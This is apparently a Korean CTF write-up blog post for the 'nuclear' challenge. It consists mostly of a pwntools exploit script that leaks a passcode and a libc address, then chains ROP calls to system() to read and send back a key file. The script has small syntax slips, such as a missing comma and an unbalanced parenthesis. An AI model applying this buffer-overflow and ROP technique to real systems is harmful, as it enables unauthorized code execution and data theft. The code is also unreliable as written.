라이브러리에서 구한 주소가 실제 내 라이브러리에서 했을 때 주소랑 다른걸 인지하지 못하고

계속 이상한 주소로 라이브러리가 구해지는 바람에 고생한 문제.

대회 환경과 같은 환경이 아니라는걸 명심하고 풀자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from time import *
from pwn import *
import struct
 
up32 = lambda x:struct.unpack('<L', x)[0]
p32 = lambda x:struct.pack('>L', x)
 
_bin = '/home/guest/bin/nuclear/nuclear'
 
elf = ELF(_bin)
rop = ROP(_bin)
 
recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
offset_recv_system = 0x17bf50
bss = elf.bss()
vuln_func = 0x08048b5b
 
leak = 'A'*0x200
 
print "[*] recv@plt : %s" % str(hex(recv_plt))
print "[*] recv@got : %s" % str(hex(recv_got))
print "[*] send@plt : %s" % str(hex(send_plt))
print "[*] offset_recv_system : %s" % str(hex(offset_recv_system))
print "[*] bss : %s" % str(hex(bss))
 
#============== Passcode Leak & Library leak
 
conn = remote('localhost'1129)
 
conn.send('target')
sleep(0.3)
conn.send('1234.12341234/1234.12341234')
sleep(0.3)
conn.send(leak)
conn.recvuntil(leak)
passcode =  conn.recvuntil('\n')[8:][:-1]
conn.recv()
print "[*] Passcode : %s" % passcode
 
conn.send('launch\n')
sleep(0.1)
conn.send(passcode+"\n")
conn.recvuntil(': 100')
 
rop.send(4, recv_got, 40)
rop.recv(4, bss, 0x1000)
rop.raw(vuln_func)
rop.raw(0)
rop.raw(4)
payload = 'A'*(0x20c+4+ str(rop)
conn.send(payload)
sleep(0.1)
recv_lib = up32(conn.recvn(4))
system_lib = recv_lib - offset_recv_system
 
conn.send('/bin/cat ./key >&4\x00')
 
print "[*] recv_lib : %s" % str(hex(recv_lib))
print "[*] system_lib : %s" % str(hex(system_lib))
 
#============== Exploit
 
rop = ROP(elf)
rop.call(system_lib, [bss])
payload = "A"*(0x20c+4)+str(rop)
conn.send(payload)
print "[*] Key : "+conn.recv()
 
conn.close()
cs





역시 쉘을 따는건 귀찮았던 관계로 이렇게 키값만 가져오도록 했다.

'CTF > 지난 대회' 카테고리의 다른 글

Codegate Junior 2016 Prequal - watermelon  (0) 2016.04.23
2016 SSG CTF - mg (350p)  (0) 2016.04.14
Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,